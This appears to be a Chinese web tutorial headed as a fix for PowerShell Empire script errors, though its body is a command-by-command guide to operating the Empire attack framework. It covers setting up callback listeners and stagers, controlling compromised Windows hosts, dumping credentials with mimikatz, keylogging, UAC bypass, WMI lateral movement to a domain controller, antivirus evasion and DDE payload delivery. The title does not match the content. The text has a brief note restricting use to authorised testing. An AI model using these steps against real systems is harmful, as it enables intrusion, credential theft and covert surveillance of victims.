PowerShell Empire 腳本執(zhí)行錯(cuò)誤解決方案

在Kali Linux下使用PowerShell Empire（簡(jiǎn)稱“帝國(guó)”）需通過(guò)安裝、配置監(jiān)聽(tīng)器、生成攻擊載荷、管理會(huì)話及執(zhí)行滲透模塊等步驟實(shí)現(xiàn)。以下是詳細(xì)操作指南：

一、安裝PowerShell Empire

1. 通過(guò)APT安裝（推薦）

sudo apt update
sudo apt install powershell-empire

2. 手動(dòng)安裝（適用于特定版本）

git clone https://github.com/BC-SECURITY/Empire.git  # 克隆官方倉(cāng)庫(kù)
cd Empire/setup
sudo ./install.sh  # 安裝依賴
cd ..
sudo ./empire  # 啟動(dòng)Empire

若依賴安裝失?。ㄈ鐄rllib3報(bào)錯(cuò)），可降級(jí)處理：pip install urllib3==1.22 。

二、基本使用流程

1. 啟動(dòng)服務(wù)端與客戶端

powershell-empire server  # 啟動(dòng)服務(wù)端
powershell-empire client  # 啟動(dòng)客戶端（交互式控制臺(tái)）

2. 設(shè)置監(jiān)聽(tīng)器（Listener）

(Empire) > listeners  # 進(jìn)入監(jiān)聽(tīng)器菜單
(Empire: listeners) > uselistener http  # 選擇HTTP監(jiān)聽(tīng)模式
(Empire: listeners/http) > set Name test_listener  # 命名監(jiān)聽(tīng)器
(Empire: listeners/http) > set Port 8080  # 設(shè)置端口
(Empire: listeners/http) > set Host 192.168.1.100  # 設(shè)置Kali的IP
(Empire: listeners/http) > execute  # 啟動(dòng)監(jiān)聽(tīng)

注意：

• 多個(gè)監(jiān)聽(tīng)器需不同名稱和端口；
• 查看運(yùn)行中的監(jiān)聽(tīng)器：listeners 或 list。

3. 生成攻擊載荷（Stager）

(Empire: listeners) > usestager windows/launcher_bat  # 生成bat格式載荷
(Empire: stager/launcher_bat) > set Listener test_listener  # 綁定監(jiān)聽(tīng)器
(Empire: stager/launcher_bat) > execute  # 生成載荷（默認(rèn)保存到`/tmp/launcher.bat`）

其他常用載荷：

• windows/launcher：生成Base64編碼的PowerShell命令；
• multi/launcher_vbs：生成VBS腳本。

4. 管理反彈會(huì)話（Agents）

查看在線主機(jī)：

(Empire) > agents

帶(*)的代理表示已提權(quán)成功。

連接目標(biāo)主機(jī)：

(Empire) > interact ABC123  # ABC123為Agent的ID
(Empire: ABC123) > shell net user  # 執(zhí)行系統(tǒng)命令

常用會(huì)話命令：

• download/upload：文件傳輸；
• mimikatz：抓取密碼哈希；
• creds：查看憑證列表。

三、高級(jí)模塊使用

1. 權(quán)限提升（Privilege Escalation）

(Empire: ABC123) > usemodule privesc/bypassuac  # 使用BypassUAC模塊
(Empire: privesc/bypassuac) > set Listener test_listener
(Empire: privesc/bypassuac) > execute  # 執(zhí)行后生成新會(huì)話（帶*表示提權(quán)成功）

2. 信息收集（Information Gathering）

鍵盤記錄：

usemodule collection/keylogger
execute
jobs kill KEYLOGGER_JOB  # 停止記錄

屏幕截圖：

usemodule collection/screenshot
execute

ARP掃描內(nèi)網(wǎng)：

usemodule situational_awareness/network/arpscan
set Range 192.168.1.0/24
execute

3. 橫向滲透（Lateral Movement）

usemodule lateral_movement/invoke_wmi  # 通過(guò)WMI橫向移動(dòng)
set ComputerName DC01
set Listener test_listener
execute

四、實(shí)用技巧與注意事項(xiàng)

與Metasploit聯(lián)動(dòng)：
使用invoke_shellcode模塊將會(huì)話轉(zhuǎn)發(fā)至Metasploit：

usemodule code_execution/invoke_shellcode
set Lhost 192.168.1.100  # MSF監(jiān)聽(tīng)I(yíng)P
set Lport 4444           # MSF監(jiān)聽(tīng)端口
execute

免殺處理：

• 使用launcher生成的Base64編碼命令可繞過(guò)部分AV檢測(cè)；
• 結(jié)合Office DDE漏洞傳遞Payload（無(wú)宏）。

日志與憑證管理：

• creds export /path/to/save.csv：導(dǎo)出憑證；
• 查看歷史任務(wù)結(jié)果：(Empire: agent_id) > results。

資源清理：

• 刪除監(jiān)聽(tīng)器：kill test_listener；
• 移除失聯(lián)主機(jī)：remove stale。

五、常見(jiàn)問(wèn)題解決

• 依賴安裝失敗：手動(dòng)安裝缺失包（如pip install flask）；
• 端口沖突：更換監(jiān)聽(tīng)端口或終止占用進(jìn)程；
• Agent掉線：檢查目標(biāo)防火墻策略及網(wǎng)絡(luò)連通性。

律與道德聲明：
Empire僅限授權(quán)測(cè)試與教育用途，未經(jīng)許可的滲透行為違法。請(qǐng)遵守當(dāng)?shù)胤煞ㄒ?guī)。

通過(guò)以上步驟，你可在Kali Linux中高效利用PowerShell Empire進(jìn)行滲透測(cè)試。操作時(shí)注意命令大小寫敏感（如set vs Set），建議結(jié)合官方文檔深化學(xué)習(xí)。

以上就是PowerShell Empire腳本執(zhí)行錯(cuò)誤的解決方案的詳細(xì)內(nèi)容，更多關(guān)于PowerShell Empire腳本執(zhí)行錯(cuò)誤的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章！

最新評(píng)論